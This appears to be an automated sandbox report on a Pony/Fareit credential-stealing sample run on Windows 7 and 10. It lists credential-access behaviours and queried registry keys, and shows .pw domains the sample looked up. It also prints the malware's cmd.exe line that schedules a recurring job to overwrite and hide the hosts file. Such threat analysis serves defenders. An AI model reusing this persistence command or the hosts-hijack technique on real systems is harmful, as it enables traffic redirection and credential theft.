Analysis Overview
SHA256
32c11b5a672d3934ed340ceaf09ce8d8a45cc6334468fff0dbb4f455fcddec77
Threat Level: Known bad
The file 4994a9999d8f4230cc80fca302e9f0e0_JaffaCakes118 was found to be: Known bad.
Malicious Activity Summary
Pony,Fareit
Drops file in Drivers directory
Reads user/profile data of web browsers
Reads data files stored by FTP clients
Checks computer location settings
Unsecured Credentials: Credentials In Files
Accesses Microsoft Outlook profiles
Checks installed software on the system
Accesses Microsoft Outlook accounts
Hide Artifacts: Hidden Files and Directories
UPX packed file
System Location Discovery: System Language Discovery
Enumerates physical storage devices
Unsigned PE
Suspicious use of WriteProcessMemory
Suspicious use of AdjustPrivilegeToken
outlook_win_path
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-10-15 19:23
Signatures
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-10-15 19:23
Reported
2024-10-15 19:25
Platform
win7-20240903-en
Max time kernel
118s
Max time network
119s
Command Line
Signatures
Pony,Fareit
Drops file in Drivers directory
| Description | Indicator | Process | Target |
| File created | C:\Windows\system32\drivers\etc\tmp.tmp | C:\Users\Admin\AppData\Local\Temp\4994a9999d8f4230cc80fca302e9f0e0_JaffaCakes118.exe | N/A |
| File created | C:\Windows\system32\drivers\etc\hosts.sam | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\system32\drivers\etc\hosts.sam | C:\Windows\SysWOW64\cmd.exe | N/A |
Reads data files stored by FTP clients
Reads user/profile data of web browsers
Unsecured Credentials: Credentials In Files
Accesses Microsoft Outlook accounts
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts | C:\Users\Admin\AppData\Local\Temp\4994a9999d8f4230cc80fca302e9f0e0_JaffaCakes118.exe | N/A |
Accesses Microsoft Outlook profiles
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook | C:\Users\Admin\AppData\Local\Temp\4994a9999d8f4230cc80fca302e9f0e0_JaffaCakes118.exe | N/A |
Checks installed software on the system
Hide Artifacts: Hidden Files and Directories
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\cmd.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\at.exe | N/A |
UPX packed file
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\at.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\4994a9999d8f4230cc80fca302e9f0e0_JaffaCakes118.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
outlook_win_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook | C:\Users\Admin\AppData\Local\Temp\4994a9999d8f4230cc80fca302e9f0e0_JaffaCakes118.exe | N/A |
Processes
C:\Users\Admin\AppData\Local\Temp\4994a9999d8f4230cc80fca302e9f0e0_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\4994a9999d8f4230cc80fca302e9f0e0_JaffaCakes118.exe"
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c copy C:\Windows\system32\drivers\etc\hosts C:\Windows\system32\drivers\etc\hosts.sam /Y && at 19:26:00 /every:M,T,W,Th,F,S,Su cmd.exe "/c attrib -H C:\Windows\system32\drivers\etc\hosts && copy C:\Users\Admin\AppData\Local\Temp\259494964aq C:\Windows\system32\drivers\etc\hosts /Y && attrib +H C:\Windows\system32\drivers\etc\hosts"
C:\Windows\SysWOW64\at.exe
at 19:26:00 /every:M,T,W,Th,F,S,Su cmd.exe "/c attrib -H C:\Windows\system32\drivers\etc\hosts && copy C:\Users\Admin\AppData\Local\Temp\259494964aq C:\Windows\system32\drivers\etc\hosts /Y && attrib +H C:\Windows\system32\drivers\etc\hosts"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | mtfksui.pw | udp |
| US | 8.8.8.8:53 | ghkeoud.pw | udp |
Files
memory/2248-0-0x0000000000404000-0x000000000040A000-memory.dmp
memory/2248-1-0x0000000000400000-0x0000000000423000-memory.dmp
memory/2248-2-0x0000000000400000-0x0000000000423000-memory.dmp
memory/2248-3-0x0000000000404000-0x000000000040A000-memory.dmp
memory/2248-4-0x0000000000400000-0x0000000000423000-memory.dmp
memory/2248-10-0x0000000000400000-0x0000000000423000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-10-15 19:23
Reported
2024-10-15 19:25
Platform
win10v2004-20241007-en
Max time kernel
149s
Max time network
150s
Command Line
Signatures
Pony,Fareit
Drops file in Drivers directory
| Description | Indicator | Process | Target |
| File created | C:\Windows\system32\drivers\etc\tmp.tmp | C:\Users\Admin\AppData\Local\Temp\4994a9999d8f4230cc80fca302e9f0e0_JaffaCakes118.exe | N/A |
| File created | C:\Windows\system32\drivers\etc\hosts.sam | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Windows\system32\drivers\etc\hosts.sam | C:\Windows\SysWOW64\cmd.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\4994a9999d8f4230cc80fca302e9f0e0_JaffaCakes118.exe | N/A |
Reads data files stored by FTP clients
Reads user/profile data of web browsers
Unsecured Credentials: Credentials In Files
Accesses Microsoft Outlook accounts
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts | C:\Users\Admin\AppData\Local\Temp\4994a9999d8f4230cc80fca302e9f0e0_JaffaCakes118.exe | N/A |
Accesses Microsoft Outlook profiles
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook | C:\Users\Admin\AppData\Local\Temp\4994a9999d8f4230cc80fca302e9f0e0_JaffaCakes118.exe | N/A |
Checks installed software on the system
Hide Artifacts: Hidden Files and Directories
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\cmd.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\at.exe | N/A |
UPX packed file
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\at.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\4994a9999d8f4230cc80fca302e9f0e0_JaffaCakes118.exe | N/A |
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 3064 wrote to memory of 4680 | N/A | C:\Users\Admin\AppData\Local\Temp\4994a9999d8f4230cc80fca302e9f0e0_JaffaCakes118.exe | C:\Windows\SysWOW64\cmd.exe |
| PID 3064 wrote to memory of 4680 | N/A | C:\Users\Admin\AppData\Local\Temp\4994a9999d8f4230cc80fca302e9f0e0_JaffaCakes118.exe | C:\Windows\SysWOW64\cmd.exe |
| PID 3064 wrote to memory of 4680 | N/A | C:\Users\Admin\AppData\Local\Temp\4994a9999d8f4230cc80fca302e9f0e0_JaffaCakes118.exe | C:\Windows\SysWOW64\cmd.exe |
| PID 4680 wrote to memory of 2560 | N/A | C:\Windows\SysWOW64\cmd.exe | C:\Windows\SysWOW64\at.exe |
| PID 4680 wrote to memory of 2560 | N/A | C:\Windows\SysWOW64\cmd.exe | C:\Windows\SysWOW64\at.exe |
| PID 4680 wrote to memory of 2560 | N/A | C:\Windows\SysWOW64\cmd.exe | C:\Windows\SysWOW64\at.exe |
outlook_win_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook | C:\Users\Admin\AppData\Local\Temp\4994a9999d8f4230cc80fca302e9f0e0_JaffaCakes118.exe | N/A |
Processes
C:\Users\Admin\AppData\Local\Temp\4994a9999d8f4230cc80fca302e9f0e0_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\4994a9999d8f4230cc80fca302e9f0e0_JaffaCakes118.exe"
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c copy C:\Windows\system32\drivers\etc\hosts C:\Windows\system32\drivers\etc\hosts.sam /Y && at 19:26:00 /every:M,T,W,Th,F,S,Su cmd.exe "/c attrib -H C:\Windows\system32\drivers\etc\hosts && copy C:\Users\Admin\AppData\Local\Temp\240638156aq C:\Windows\system32\drivers\etc\hosts /Y && attrib +H C:\Windows\system32\drivers\etc\hosts"
C:\Windows\SysWOW64\at.exe
at 19:26:00 /every:M,T,W,Th,F,S,Su cmd.exe "/c attrib -H C:\Windows\system32\drivers\etc\hosts && copy C:\Users\Admin\AppData\Local\Temp\240638156aq C:\Windows\system32\drivers\etc\hosts /Y && attrib +H C:\Windows\system32\drivers\etc\hosts"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 154.239.44.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 107.209.201.84.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 150.171.27.10:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | mtfksui.pw | udp |
| US | 8.8.8.8:53 | 205.47.74.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | mtfksui.pw | udp |
| US | 8.8.8.8:53 | mtfksui.pw | udp |
| US | 8.8.8.8:53 | ghkeoud.pw | udp |
| US | 8.8.8.8:53 | 241.150.49.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | ghkeoud.pw | udp |
| US | 8.8.8.8:53 | ghkeoud.pw | udp |
| US | 8.8.8.8:53 | 212.20.149.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 18.31.95.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 110.11.19.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 88.156.103.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | tse1.mm.bing.net | udp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 8.8.8.8:53 | 10.28.171.150.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 11.179.89.13.in-addr.arpa | udp |
Files
memory/3064-1-0x0000000000400000-0x0000000000423000-memory.dmp
memory/3064-0-0x0000000000404000-0x000000000040A000-memory.dmp
memory/3064-2-0x0000000000400000-0x0000000000423000-memory.dmp
memory/3064-3-0x0000000000404000-0x000000000040A000-memory.dmp
memory/3064-4-0x0000000000400000-0x0000000000423000-memory.dmp
memory/3064-9-0x0000000000400000-0x0000000000423000-memory.dmp